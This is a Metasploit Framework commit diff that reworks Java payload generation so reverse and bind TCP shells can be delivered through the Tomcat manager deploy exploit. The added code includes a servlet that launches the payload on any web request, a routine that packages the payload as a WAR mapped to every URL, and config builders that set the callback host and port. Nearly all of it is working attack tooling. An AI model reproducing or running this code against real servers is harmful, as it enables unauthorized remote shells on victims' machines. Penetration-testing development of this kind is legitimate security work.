revamp java payloads and make shells work with tomcat_mgr_deploy. tested java_trusted_chain and java_tester to verify that this doesn't break other java payload usage. see #3009 and #2973, meterpreter doesn't work yet, so not marking resolved.
git-svn-id: file:///home/svn/framework3/trunk@10781 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
7a9fe2c4d7
commit
f33d7cc670
Binary file not shown.
|
@ -0,0 +1,30 @@
|
|||
package metasploit;
|
||||
|
||||
import java.io.*;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.*;
|
||||
import java.lang.Thread;
|
||||
|
||||
public class PayloadServlet extends HttpServlet implements Runnable {
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
metasploit.Payload.main(new String[] {""});
|
||||
} catch (Exception e) {}
|
||||
}
|
||||
|
||||
protected void doGet(HttpServletRequest req, HttpServletResponse res)
|
||||
throws ServletException, java.io.IOException
|
||||
{
|
||||
PrintWriter out = res.getWriter();
|
||||
|
||||
try {
|
||||
Thread t = new Thread(this);
|
||||
t.start();
|
||||
} catch(Exception e) { };
|
||||
|
||||
out.close();
|
||||
}
|
||||
|
||||
}
|
|
@ -2,42 +2,112 @@ require 'msf/core'
|
|||
|
||||
module Msf::Payload::Java
|
||||
|
||||
#
|
||||
# Used by stages; all java payloads need to define @class_files as an array
|
||||
# of .class files located in data/java/
|
||||
#
|
||||
# The staging protocol expects any number of class files, each prepended
|
||||
# with its length, and terminated with a 0:
|
||||
# [ 32-bit big endian length ][ first raw .class file]
|
||||
# ...
|
||||
# [ 32-bit big endian length ][ Nth raw .class file]
|
||||
# [ 32-bit null ]
|
||||
#
|
||||
def generate_stage
|
||||
$stdout.puts("Generating default stage")
|
||||
stage = ''
|
||||
@class_files.each do |path|
|
||||
@stage_class_files.each do |path|
|
||||
$stdout.puts("Adding raw class: #{path}")
|
||||
fd = File.open(File.join( Msf::Config.install_root, "data", "java", path ), "rb")
|
||||
data = fd.read(fd.stat.size)
|
||||
stage << ([data.length].pack("N") + data)
|
||||
end
|
||||
stage << [0].pack("N")
|
||||
|
||||
$stdout.puts("Done, final length of class files: #{stage.length}")
|
||||
stage
|
||||
end
|
||||
|
||||
# This is the same for both bind and reverse tcp depending on the existence
|
||||
# of LHOST. If it's there, this use a reverse connection, if not, bind.
|
||||
def tcp_stager_jar(config)
|
||||
#
|
||||
# Constructs the payload, used by stagers. Returns a jar file as a +String+
|
||||
#
|
||||
def generate
|
||||
generate_jar.pack
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a jar file as a +Rex::Zip::Archive+
|
||||
#
|
||||
def generate_jar
|
||||
$stdout.puts("Generating jar")
|
||||
raise if not respond_to? :config
|
||||
paths = [
|
||||
[ "metasploit", "Payload.class" ],
|
||||
]
|
||||
] + @class_files
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
paths.each do |path|
|
||||
1.upto(path.length - 1) do |idx|
|
||||
full = path[0,idx].join("/") + "/"
|
||||
if !(jar.entries.map{|e|e.name}.include?(full))
|
||||
jar.add_file(full, '')
|
||||
end
|
||||
end
|
||||
fd = File.open(File.join( Msf::Config.install_root, "data", "java", path ), "rb")
|
||||
data = fd.read(fd.stat.size)
|
||||
jar.add_file(path.join("/"), data)
|
||||
fd.close
|
||||
end
|
||||
add_class_files(jar, paths)
|
||||
jar.build_manifest(:main_class => "metasploit.Payload")
|
||||
jar.add_file("metasploit.dat", config)
|
||||
|
||||
jar
|
||||
end
|
||||
|
||||
def generate_war(opts={})
|
||||
$stdout.puts("Generating war")
|
||||
zip = Rex::Zip::Archive.new
|
||||
|
||||
web_xml = %q{<?xml version="1.0"?>
|
||||
<!DOCTYPE web-app PUBLIC
|
||||
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
|
||||
"http://java.sun.com/dtds/web-app_2_3.dtd">
|
||||
<web-app>
|
||||
<servlet>
|
||||
<servlet-name>NAME</servlet-name>
|
||||
<servlet-class>metasploit.PayloadServlet</servlet-class>
|
||||
</servlet>
|
||||
<servlet-mapping>
|
||||
<servlet-name>NAME</servlet-name>
|
||||
<url-pattern>/*</url-pattern>
|
||||
</servlet-mapping>
|
||||
</web-app>
|
||||
}
|
||||
app_name = opts[:app_name] || "notrandom" #Rex::Text.rand_text_alpha_lower(rand(8)+8)
|
||||
|
||||
web_xml.gsub!(/NAME/, app_name)
|
||||
|
||||
paths = [
|
||||
[ "metasploit", "Payload.class" ],
|
||||
[ "metasploit", "PayloadServlet.class" ],
|
||||
] + @class_files
|
||||
|
||||
zip.add_file('WEB-INF/', '')
|
||||
zip.add_file('WEB-INF/web.xml', web_xml)
|
||||
zip.add_file("WEB-INF/classes/", "")
|
||||
add_class_files(zip, paths, "WEB-INF/classes/")
|
||||
zip.add_file("metasploit.dat", config)
|
||||
zip.add_file("WEB-INF/metasploit.dat", config)
|
||||
zip.add_file("WEB-INF/classes/metasploit.dat", config)
|
||||
$stdout.puts("config: #{config}")
|
||||
|
||||
zip
|
||||
end
|
||||
|
||||
protected
|
||||
def add_class_files(zip, paths, base_dir="")
|
||||
paths.each do |path|
|
||||
$stdout.puts("Adding file: #{path}")
|
||||
1.upto(path.length - 1) do |idx|
|
||||
full = base_dir + path[0,idx].join("/") + "/"
|
||||
if !(zip.entries.map{|e|e.name}.include?(full))
|
||||
zip.add_file(full, '')
|
||||
end
|
||||
end
|
||||
fd = File.open(File.join( Msf::Config.install_root, "data", "java", path ), "rb")
|
||||
data = fd.read(fd.stat.size)
|
||||
zip.add_file(base_dir + path.join("/"), data)
|
||||
fd.close
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# tomcat docs
|
||||
[ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ]
|
||||
],
|
||||
'Platform' => [ 'win', 'linux' ], # others?
|
||||
'Platform' => [ 'java', 'win', 'linux' ], # others?
|
||||
'Targets' =>
|
||||
[
|
||||
#
|
||||
|
@ -72,6 +72,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
#
|
||||
[ 'Automatic', { } ],
|
||||
|
||||
[ 'Java',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'java'
|
||||
},
|
||||
],
|
||||
|
||||
#
|
||||
# Platform specific targets only
|
||||
#
|
||||
|
@ -186,11 +193,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Generate the WAR containing the payload
|
||||
war = nil
|
||||
if (mytarget.name =~ /Java/)
|
||||
war = Msf::Util::EXE.to_war(p.encoded,
|
||||
{
|
||||
:app_name => app_base,
|
||||
:jsp_name => jsp_name
|
||||
})
|
||||
war = p.encoded_war({
|
||||
:app_name => app_base
|
||||
}).pack
|
||||
|
||||
else
|
||||
# Generate an EXE from the payload
|
||||
exe = generate_payload_exe(
|
||||
|
|
|
@ -34,19 +34,15 @@ module Metasploit3
|
|||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
@class_files = [ ]
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate; generate_jar.pack; end
|
||||
|
||||
def generate_jar
|
||||
config = ""
|
||||
def config
|
||||
c = ""
|
||||
#config << "Spawn=2\n"
|
||||
config << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
||||
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
||||
|
||||
tcp_stager_jar(config)
|
||||
c
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -34,20 +34,16 @@ module Metasploit3
|
|||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
@class_files = [ ]
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate; generate_jar.pack; end
|
||||
|
||||
def generate_jar
|
||||
config = ""
|
||||
config << "Spawn=2\n"
|
||||
config << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
|
||||
config << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
||||
|
||||
tcp_stager_jar(config)
|
||||
def config
|
||||
c = ""
|
||||
c << "Spawn=2\n"
|
||||
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
|
||||
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
||||
|
||||
c
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -42,8 +42,8 @@ module Metasploit3
|
|||
# The Meterpreter.class stage is just a jar loader, not really anything
|
||||
# to do with meterpreter specifically. This payload should eventually
|
||||
# be replaced with an actual meterpreter stage so we don't have to send
|
||||
# a jar.
|
||||
@class_files = [
|
||||
# a second jar.
|
||||
@stage_class_files = [
|
||||
[ "javapayload", "stage", "Stage.class" ],
|
||||
[ "com", "metasploit", "meterpreter", "MemoryBufferURLConnection.class" ],
|
||||
[ "com", "metasploit", "meterpreter", "MemoryBufferURLStreamHandler.class" ],
|
||||
|
@ -52,11 +52,14 @@ module Metasploit3
|
|||
]
|
||||
end
|
||||
|
||||
#
|
||||
# Override the Payload::Java version so we can load a prebuilt jar to be
|
||||
# used as the final stage; calls super to get the intermediate stager.
|
||||
#
|
||||
def generate_stage
|
||||
$stdout.puts("Generating meterpreter stage with #{@stage_class_files.length} class files")
|
||||
file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.jar")
|
||||
met = File.open(file, "rb") {|f|
|
||||
f.read(f.stat.size)
|
||||
}
|
||||
met = File.open(file, "rb") {|f| f.read(f.stat.size) }
|
||||
|
||||
# All of the dendencies to create a jar loader, followed by the length
|
||||
# of the jar and the jar itself.
|
||||
|
|
|
@ -40,7 +40,7 @@ module Metasploit3
|
|||
# Order matters. Classes can only reference classes that have already
|
||||
# been sent. The last .class must implement Stage, i.e. have a start()
|
||||
# method.
|
||||
@class_files = [
|
||||
@stage_class_files = [
|
||||
[ "javapayload", "stage", "Stage.class" ],
|
||||
[ "javapayload", "stage", "StreamForwarder.class" ],
|
||||
[ "javapayload", "stage", "Exec.class" ],
|
||||
|
|
Loading…
Reference in New Issue